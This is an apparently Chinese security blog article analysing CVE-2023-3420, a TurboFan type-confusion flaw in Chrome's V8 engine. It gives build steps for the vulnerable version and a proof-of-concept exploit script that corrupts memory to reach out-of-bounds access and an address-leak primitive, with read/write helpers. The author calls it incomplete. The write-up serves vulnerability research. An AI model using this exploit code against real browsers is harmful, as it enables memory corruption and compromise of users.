freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

chrome v8漏洞CVE-2023-3420浅析
2024-05-15 17:10:34

chrome v8漏洞CVE-2023-3420浅析

作者: coolboy

前言

CVE-2023-3420 是产生在v8 TurboFun模块的类型混淆漏洞。TurboFun模块对代码的优化:在优化代码中假定入参具有某种类型,比如int arr。优化代码将不再检查传入的参数是否确实为int arr,而直接按照int arr的类型对参数进行操作,从而大幅度提高运行效率。漏洞的产生原因是,有一种不应该存在的方法修改了入参了对象,且绕过了TurboFun的检查,导致优化代码没有被解优化,入参被修改为另外一种类型,比如double arr。而优化代码采用int arr的类型去访问double arr,造成了类型混淆。从而引发了漏洞。文章分析了漏洞成因、原理以及POC细节。这是一个系列文章,本文是第三篇。

POC

编译

# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH

mkdir ~/v8
cd ~/v8
fetch v8
cd v8

# 漏洞补丁前一笔提交

git checkout 11.4.183.19
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug

# test

./out/x64.release/d8 --help

POC

let length = 10000;
var padding = 40;

var arr = new Array(length);
arr.fill(0);
function func() {
  return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
}
for (let i = 0; i < 5000; i++) func(0);

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
    dblArr[0] = f;
    return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
    intView[0] = i1;
    intView[1] = i2;
    return dblArr[0];
}

function itof(i) {
    bigIntView = BigInt(i);
    return dblArr[0];
}

function ftoi(f) {
    dblArr[0] = f;
    return bigIntView[0];
}

var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];

var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';

function tc(x) {
  var obj = x.p1.px;
  obj.x = 100;
  return x.p1.px.x;
}

function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  for (let i = 0; i < 1; i++) {
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }

  }
  proto.b = 33;
  return z;
}

class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;

function bar(x) {
  return x instanceof B;
}
var args = {obj: B.prototype};
foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
  foo2(args, B.prototype, 10, arr);
}
bar({a : 1});
for (let i = 0; i < 5000; i++) {
  bar({b : 1});
}
console.log('========= pre');
%DebugPrint(B.prototype);
foo2(args, B.prototype, length, arr);
console.log('========= after');
%DebugPrint(B.prototype);

var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
  tc(obj1);
}

Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});

tc(obj1);

var oobOffset = 4;

function addrof(obj) {
  oobObjArr[0] = obj;
  var addrDbl = corrupted_arr[oobOffset];
  return ftoi32(addrDbl)[0];
}

function read(addr) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  var oldAddr = ftoi32(old_value);
  var out = ftoi32(oobDblArr[0]);
  corrupted_arr[oobOffset] = old_value;
  return out;
}

function write(addr, val1, val2) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  oobDblArr[0] = i32tof(val1, val2);
  corrupted_arr[oobOffset] = old_value;
  return;
}

var funcAddr = addrof(func);
console.log("func address: " + funcAddr.toString(16));

./out/x64.release/d8 --allow-natives-syntax --trace-deopt 'poc.js' 将得到func函数地址,此POC不完整,不能拿到shell,需要发现新的堆风水布局才能完成漏洞利用,后面有详细解释。

func address: 11bc45

漏洞成因分析

背景1 TurboFan

image
Chrome v8 引擎中的jit编译器称为TurboFan。javascript将根据使用频率进行优化。当函数首次运行时,解释器(ignition)将会生成字节码。
当采用不同输入调用该函数时,turbofan会收集这些输入带来的反馈,比如它们的类型(int或者对象等)。当运行次数足够多以后,turbofan将采用这些反馈来做出假设优化函数,生成优化代码。之后的执行,将不再是字节码,而是执行优化后的代码。当函数的假设不再正确的时候,例如对象类型或者值发生变化,turbofan将对函数进行解优化,再次执行函数时将执行字节码,而非优化代码。

背景2 编译依赖

// test.js
var a = {x : 1};

function foo(obj) {
  var y = obj.x;
  return y;
}
%PrepareFunctionForOptimization(foo);
foo(a);
%OptimizeFunctionOnNextCall(foo);
foo(a);
//Invalidates the optimized code
a.x = 2;

使用下面命令执行test.js:

./out/x64.release/d8 --allow-natives-syntax --trace-deopt test.js

将得到结果:

[marking dependent code 0x1d2d0011af41 <Code TURBOFAN> (0x1d2d0011ab7d <SharedFunctionInfo foo>) (opt id 0) for deoptimization, reason: code dependencies]

PrepareFunctionForOptimization 和 OptimizeFunctionOnNextCall 为v8内置函数,作用是将foo进行优化。优化时,将假设foo的函数始终返回1。当a.x被赋值为2时,假设不再成立,于是触发解优化操作。--trace-deopt 命令行选项可以打印解优化的情况,如上所示。解优化之后,在调用foo,将执行字节码操作。

编译依赖在底层是通过CompilationDependency实现的,路径:v8/src/compiler/compilation-dependencies.cc,它有三个虚函数,分别为IsValid,PrepareInstall和Install,子类可以继承修改这三个函数。IsValid 方法会检查假设是否有效,同时install建立一种机制,当假设发生变化时触发解优化。

漏洞成因

CompilationDependency的子类PrototypePropertyDependency重写了PrepareInstall方法,如下:

void PrepareInstall(JSHeapBroker* broker) const override {
    SLOW_DCHECK(IsValid(broker));
    Handle<JSFunction> function = function_.object();
    if (!function->has_initial_map()) JSFunction::EnsureHasInitialMap(function);
}

该方法调用了JSFunction::EnsureHasInitialMap函数,JSFunction::EnsureHasInitialMap会调用JSFunction::SetInitialMap函数。JSFunction::SetInitialMap函数如下:

void JSFunction::SetInitialMap(Isolate* isolate, Handle<JSFunction> function,
                               Handle<Map> map, Handle<HeapObject> prototype,
                               Handle<HeapObject> constructor) {
  if (map->prototype() != *prototype) {
    Map::SetPrototype(isolate, map, prototype);
  }
  DCHECK_IMPLIES(!constructor->IsJSFunction(), map->InSharedHeap());
  map->SetConstructor(*constructor);
  function->set_prototype_or_initial_map(*map, kReleaseStore);
  if (v8_flags.log_maps) {
    LOG(isolate, MapEvent("InitialMap", Handle<Map>(), map, "",
                          SharedFunctionInfo::DebugName(
                              isolate, handle(function->shared(), isolate))));
  }
}

Map::SetPrototype(isolate, map, prototype); 这行代码将修改对象的类型,将"fast"对象修改为"dictionary"对象。综上,假如一个函数它的优化的假设依赖PrototypePropertyDependency,当PrototypePropertyDependency的PrepareInstall被调用时,该对象的类型将被改变,从"fast"修改为"dictionary"。而这个改变过程属于Turbofan优化编译本身,将无法触发解优化。从而实现了对象实际类型和优化代码里面的类型不一致,导致了类型混淆。

POC详解

class B {}
B.prototype.a = 2;
B.prototype.b = 1;

function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  for (let i = 0; i < 1; i++) {
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }
  }
  proto.b = 33;
  return z;
}

foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
  foo2(args, B.prototype, 10, arr);
}

这段代码将优化foo2,假设B.prototype类型为"fast"对象。

function bar(x) {
  return x instanceof B;
}
for (let i = 0; i < 5000; i++) {
  bar({b : 1});
}
foo2(args, B.prototype, length, arr);

执行这段代码将优化bar函数,而bar函数的优化将依赖于PrototypePropertyDependency。PrototypePropertyDependency对象的PreInstall的函数将被加入到任务列表里面,在合适的时机调用它。这个合适的时机是StackGuard节点。StackGuard节点会在for循环中产生。于是在优化bar之后,紧接着调用foo2。foo2中有一个比较长的for循环,里面有StackGuard节点。再回过头看foo2代码。

// foo2优化时机在bar之前,所以当调用foo2(args, B.prototype, length, arr);时,foo2已经优化,假设proto即B.prototype类型为"fast"对象。
function foo2(obj, proto, x,y) {
  obj.obj = proto;
  var z = 0;
  // 此时B.prototype类型为"fast"对象
  for (let i = 0; i < 1; i++) {
    // 当执行for循环时,StackGuard节点被执行,它将调用bar优化依赖的PrototypePropertyDependency的PreInstall函数。而PreInstall函数将B.prototype类型从"fast"修改为"dictionary"
    for (let j = 0; j < x; j++) {
      for (let k = 0; k < x; k++) {
        z = y[k];
      }
    }
  }
  // 此时B.prototype类型为"dictionary"对象

  // foo2假设proto为"fast",实际为"dictionary"。proto.b将发生类型混淆,实际将dictionary的capacity修改为33
  proto.b = 33;
  return z;
}
console.log('========= pre');
%DebugPrint(B.prototype);

foo2(args, B.prototype, length, arr);

console.log('========= after');
%DebugPrint(B.prototype);

做个实验,在foo2调用前后用DebugPrint打印B.prototype信息,得到结果如下:

========= pre
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
 - map: 0x1ae00011c979 <Map[12](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
 - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1ae00018adb1 <PropertyArray[4]>
...

========= after
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
 - map: 0x1ae00011d349 <Map[12](HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
 - elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x1ae0001aa6f9 <NameDictionary[30]>
 ...

可以看到,确实调用foo2前为FastProperties,调用后为DictionaryProperties。它们的实现分别为PropertyArray和NameDictionary。内存结构如下图:
image
可见,当优化代码修改为"fast"的b属性时,实际修改的"dictionary"的capacity属性。"proto.b = 33" 将capacity属性修改33。33为2的5次方加上1。当capacity的值满足2的n次方加1的时候,对dictionary的访问,将总是访问最后一个对象。因此有了下面代码:

class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;

var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};

Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});

dictionary的子项的存储是通过(key, value, attribute)三元组进行的。这是为什么obj1也长这样。至于为什么位于B之后,中间还有padding,是因为原本B只有a,b两个元素,长度被修改33之后,往后发生了越界,最后一个元素刚好位于obj1所在的内存。"Object.defineProperty"操作长度修改后的最后一个元素,变相修改了obj1。

var corrupted_arr = [1.1];
var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';

function tc(x) {
  var obj = x.p1.px;
  obj.x = 100;
  return x.p1.px.x;
}

var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
  tc(obj1);
}

// 此时obj1.p1.px为 {x : 1} 
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});

// 此时obj1.p1.px为 [1.1]。tc中仍然假设obj1为{x : 1} 
tc(obj1);

{x : 1} 和 [1.1] 内存如下图:
image
类型混淆后在执行tc(obj1), obj.x=100,将修改数组长度,从1变为100,这将导致越界读写。

var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];

var oobOffset = 4;

function addrof(obj) {
  oobObjArr[0] = obj;
  var addrDbl = corrupted_arr[oobOffset];
  return ftoi32(addrDbl)[0];
}

var funcAddr = addrof(func);

这样的申明顺序,将oobDblArr和oobObjArr的数组内存安排在了corrupted_arr数组内存之后,可以实现越界读写。oobObjArr[0]赋值为对象,那么对象的内存地址,就可以由corrupted_arr这个double arr通过越界读出来,corrupted_arr[4]中存放的就是func的地址。到这里便实现了对象地址读。

如果将js 数组对象的element指针地址放置在corrupted_arr数组之后,通过越界读写,就可以改变js 数组指向的内存,通过修改之后的js 数组,便可以实现任意地址读写。参考chrome v8漏洞CVE-2021-30632浅析的POC。

当前漏洞,由于bar函数优化的原因,内存布局一直没能实现js 数组对象的element指针地址放置在corrupted_arr数组之后,而是在它之前,无法实现越界读写。去掉bar函数优化则可以实现上述堆风水。但去掉bar优化就无法触发漏洞,因此还需要找到另外一种堆风水来利用此漏洞。POC漏洞发现者提供的POC是阉割版,甚至无法复现对象地址读。留个坑,以后来填。

启发

这个漏洞是如何发现的呢?Fuzz? Code review?欢迎讨论。

参考

Getting RCE in Chrome with incorrect side effect in the JIT compiler

# 漏洞 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录